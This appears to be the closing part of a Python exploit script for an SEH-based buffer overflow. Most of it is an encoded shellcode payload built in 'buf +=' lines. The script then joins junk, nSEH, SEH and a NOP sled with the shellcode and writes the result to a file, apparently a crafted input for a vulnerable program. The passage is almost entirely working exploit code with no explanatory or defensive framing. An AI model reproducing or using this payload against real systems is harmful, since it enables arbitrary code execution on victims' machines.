buf += "\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
buf += "\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
buf += "\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
buf += "\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
buf += "\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
buf += "\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
buf += "\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
buf += "\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
buf += "\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
buf += "\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
buf += "\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
buf += "\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
buf += "\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
buf += "\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
buf += "\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
buf += "\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
buf += "\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
buf += "\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
buf += "\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
buf += "\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
buf += "\xc8\x28\x1b\xd5\x3f\x51"
 
exploit = junk + nseh + seh + nops + buf
 
file.write(exploit)
file.close()